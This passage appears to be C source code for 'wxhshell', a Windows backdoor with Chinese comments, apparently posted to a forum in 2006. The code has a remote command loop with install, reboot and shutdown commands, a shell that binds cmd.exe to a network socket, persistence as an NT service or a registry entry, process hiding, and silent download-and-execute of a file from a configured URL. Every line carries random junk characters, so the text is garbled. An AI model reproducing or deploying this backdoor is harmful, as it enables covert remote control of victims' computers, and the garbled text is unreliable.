  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "JGaw_o  
  } : Z.mM5  
  else { L Y M`  
qa Q  
    switch(cmd[0]) { AfY(+w6!K  
  \2LCpN  
  // 帮助 H11Wb(6Wu  
  case '?': { i?R qv<n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sO*6F`eiZ  
    break; HY42G#^  
  } @<AIPla  
  // 安装 '|+_~ZO*d  
  case 'i': { =GpLlJ`-  
    if(Install()) PK~okz4b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EYQ!ELuF  
    else mEqV&M1;7l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  &wj Ob  
    break; K}zw%!ex  
    } >y=%o~  
  // 卸载 w8on3f;6n#  
  case 'r': { UC0 yrV  
    if(Uninstall()) #2dmki"~(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G'bp  
    else Ky=&C8b<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i0 R=P[  
    break; |[V(u  
    } =];FojC6I  
  // 显示 wxhshell 所在路径 1H ZexV  
  case 'p': { j@:L MR>  
    char svExeFile[MAX_PATH]; 4SOj>(a#  
    strcpy(svExeFile,"\n\r"); ]F_u  
      strcat(svExeFile,ExeFile); S !e0 :  
        send(wsh,svExeFile,strlen(svExeFile),0); ql zL<  
    break; BU)4g[4  
    } O=mJ8W@  
  // 重启 x_Z~k  
  case 'b': { 9DT}sCLz:B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I 7TMv.  
    if(Boot(REBOOT)) (2{1m#o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*x9sfCv9  
    else { &Y,Rm78  
    closesocket(wsh); Z# :Ww  
    ExitThread(0); @!Pq"/  
    } &A`QPk8n  
    break; UOwj"#  
    } Y8N&[L[z&  
  // 关机 Z<wg`  
  case 'd': { =]"PSY7p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M"J $c42  
    if(Boot(SHUTDOWN)) ND`~|6yb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -V+fQGZe  
    else { ugL$W@   
    closesocket(wsh); -@QLE}~k[  
    ExitThread(0); O[m+5+  
    } xE}q(.]  
    break; r"4:aKF>  
    } Io:xG6yG  
  // 获取shell nqV7Db~  
  case 's': { \;sUJr"$  
    CmdShell(wsh); a7CJ~8-1K  
    closesocket(wsh); ycH=L8  
    ExitThread(0); c~Ha68  
    break; 18`?t_8g  
  } } o=g)  
  // 退出 tV T(!&(  
  case 'x': { )cvC9gt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @-W)(9kZ|  
    CloseIt(wsh); p3-sEIw}Ru  
    break; N#UyAm<9  
    } [#.QDe  
  // 离开 ge E7<"m%  
  case 'q': { o|UZdGu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uh GL1{  
    closesocket(wsh); 8L&#<Ol  
    WSACleanup(); =T+<>/[  
    exit(1); K}* s^*X  
    break; {?t=*l\S{w  
        } PB`94W  
  } 2AdV=n6Z  
  } |i|>-|`!  
x&kF;UC  
  // 提示信息 ,Z3.Le"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tW 9vo-{+  
} M,7v}[Tbl  
  } T]0qd^\4w  
mH;\z;lyK  
  return; oo /#]a  
} QupCr/Hs  
$L3UDX+F  
// shell模块句柄 k/*r2 C  
int CmdShell(SOCKET sock) g<tr |n  
{ 3Hr ZN+D  
STARTUPINFO si; tNq~M  
ZeroMemory(&si,sizeof(si)); ]r|X[9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SkS vu}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Id9hC<8$dq  
PROCESS_INFORMATION ProcessInfo; ?*Jv&f#  
char cmdline[]="cmd"; &,bJ]J)8O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !x&/M*nBE  
  return 0; [X;yJ$  
} cE[4CCpy  
X62GEqff  
// 自身启动模式 g }5lGz4  
int StartFromService(void) h19c*,0z!  
{ Sl{]Z,  
typedef struct 1*#64Y5F  
{ qA5tMZ^w  
  DWORD ExitStatus; RtN5\  
  DWORD PebBaseAddress; ^ @sg{_.~l  
  DWORD AffinityMask; =%p0r z|b  
  DWORD BasePriority; s:6H^DQ"C  
  ULONG UniqueProcessId; )88z=5.  
  ULONG InheritedFromUniqueProcessId; 3g)pLW  
}   PROCESS_BASIC_INFORMATION; 7mt;qn?n  
#5=Yg5   
PROCNTQSIP NtQueryInformationProcess; V) C4 sG  
lor jMS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U+URj <)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {}~7Gi!  
{QI"WFdGx  
  HANDLE             hProcess; K&\xbT  
  PROCESS_BASIC_INFORMATION pbi; <-FAF:6$@@  
r. :LZEr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +%oXPG?  
  if(NULL == hInst ) return 0; ]~GwZB'M  
REli`"bR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yd'>Mw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5hg:@i',  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;3 O0O  
1o V\QK&  
  if (!NtQueryInformationProcess) return 0; 7"FsW3an  
x}{/) ?vC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1@egAo)  
  if(!hProcess) return 0; 1 VcZg%I  
:!n_a*.{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1=}+NK!  
9aHV~5  
  CloseHandle(hProcess); g Q6_]~4  
GU([A@;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -X3yCK?re  
if(hProcess==NULL) return 0; `$Z:j;F  
C%vR!Az  
HMODULE hMod; f,9/Yg_  
char procName[255]; 0NL~2Qf_4  
unsigned long cbNeeded; C|*U)#3:F  
s#hIzt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); & =)HPzC  
]QlgVw,  
  CloseHandle(hProcess); hxZ5EKBy  
jb|al[p\  
if(strstr(procName,"services")) return 1; // 以服务启动 EyO=M~nsS  
5bKM}? =L  
  return 0; // 注册表启动 $SQ UN*/>  
} 6j/g/!9c!  
xf% _HMKc  
// 主模块 uB_8P+h7  
int StartWxhshell(LPSTR lpCmdLine) %-1-y]R|  
{ m:SG1m_6  
  SOCKET wsl; zk#"n&u0  
BOOL val=TRUE; r~nD%H:}P  
  int port=0; `tw[{Wb  
  struct sockaddr_in door; UuPXo66F ]  
L 7VDZCV  
  if(wscfg.ws_autoins) Install(); $KHw=<:)/  
7@oM?r7td  
port=atoi(lpCmdLine); >"5 f B  
W|'7)ph  
if(port<=0) port=wscfg.ws_port; @G,pM: t  
^hiIMqY_{`  
  WSADATA data; b~>kTO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lY -2e>  
3dheT}XV?p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UTwXN |'|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t/%{R.1MN  
  door.sin_family = AF_INET; ,a 2(h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g\%;b3"#  
  door.sin_port = htons(port); PDQEI55  
XB0G7o%1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B8.a#@R  
closesocket(wsl); &YpViC4K.  
return 1; vxE#6  
} `xv2,Z9<  
UI2TW)^2  
  if(listen(wsl,2) == INVALID_SOCKET) { /o L& <e  
closesocket(wsl); pW5ch"HE  
return 1; SbLm  
} O2{~Q{p  
  Wxhshell(wsl); fJ<I|ZZ  
  WSACleanup(); Q3"{v0  
zbY2gq@?  
return 0; 7XzhKA6  
27J!oin$  
} N> 7sG(!'"  
A#7/,1h\  
// 以NT服务方式启动 )+7|_7 !x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nwS @r  
{ u1 Z;n  
DWORD   status = 0; kx{LY`pY  
  DWORD   specificError = 0xfffffff; 9[2qgw\D  
(;!92ct[?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {'#1do}{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  B_Ul&V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H2kib4^i  
  serviceStatus.dwWin32ExitCode     = 0; z][hlDv\j  
  serviceStatus.dwServiceSpecificExitCode = 0; =M6Ph%  
  serviceStatus.dwCheckPoint       = 0; S@Iza9\|@  
  serviceStatus.dwWaitHint       = 0; A>\5fO  
4t 5i9+h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |VX )S!  
  if (hServiceStatusHandle==0) return; p~'iK4[&6  
>V%lA3  
status = GetLastError(); 6;:z?Q  
  if (status!=NO_ERROR) \1Xr4H u  
{ Yyxsj9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xfc+0$U@  
    serviceStatus.dwCheckPoint       = 0; !\< [}2}  
    serviceStatus.dwWaitHint       = 0; ^/~ZP?%]  
    serviceStatus.dwWin32ExitCode     = status; dvAG}<  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 i'bo*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +$}3=n34)  
    return; Bo,>blspw  
  } whi#\>i  
*O|_)G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %<)!]8}P*  
  serviceStatus.dwCheckPoint       = 0; 4bs<j  
  serviceStatus.dwWaitHint       = 0; %1oB!+tv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {=%,NwPs  
} a`e'HQ  
Wu~cy}\  
// 处理NT服务事件,比如:启动、停止 K<rv|bJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;A6%YY  
{ ,xw1B-dx  
switch(fdwControl) Tbp;xv_qo  
{ v!`:{)2C  
case SERVICE_CONTROL_STOP: WKAG)4  
  serviceStatus.dwWin32ExitCode = 0; T>hrKn.!D:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aPdEEqc\l  
  serviceStatus.dwCheckPoint   = 0; {j6$'v)0  
  serviceStatus.dwWaitHint     = 0; 3Ofh#|qc&  
  { bey:Qj??  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )2 lB  
  } $l $p|  
  return; $d-$dM?R5  
case SERVICE_CONTROL_PAUSE: 4^Ss\$*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1=Kt.tuf  
  break; ^IgQI N  
case SERVICE_CONTROL_CONTINUE: "T$LJ1E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cnr=1E=  
  break; vM'!WVs  
case SERVICE_CONTROL_INTERROGATE: 6:~<L!`&  
  break; Sse%~:FL  
}; 7@&mGUALO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9^u}~e #(  
}  J8-K  
7W'&v+\  
// 标准应用程序主函数 .p =OAh<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SBy{sbx4&F  
{ F EUfskv  
AGl#f\_^  
// 获取操作系统版本 /X]gm\x7s  
OsIsNt=GetOsVer(); w@"Zjbs`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3$?nzKTW\  
0bpGPG's&  
  // 从命令行安装 #<~oR5ddlb  
  if(strpbrk(lpCmdLine,"iI")) Install(); * >/w,E]  
Lv?jg ?$  
  // 下载执行文件 Y qmsL<  
if(wscfg.ws_downexe) { We++DWp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v%r/PHw  
  WinExec(wscfg.ws_filenam,SW_HIDE); O>N/6Z  
} {)iiu  
3:O|p[2)L  
if(!OsIsNt) { Sp6==(:.  
// 如果时win9x,隐藏进程并且设置为注册表启动 q*Oj5;  
HideProc(); |}2/:f#Iz*  
StartWxhshell(lpCmdLine); 2D(sA  
} Vm?#~}T  
else 1`1jSx5}.  
  if(StartFromService()) a ~YrQI-@  
  // 以服务方式启动 /!JxiGn  
  StartServiceCtrlDispatcher(DispatchTable); sSf;j,7V  
else 9M^5<8:  
  // 普通方式启动 @~Ys*]4UE  
  StartWxhshell(lpCmdLine); a~ RY 8s  
^q_wtuQ  
return 0; ,SPgop'  
}
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只看该作者 1 发表于: 2006-10-10
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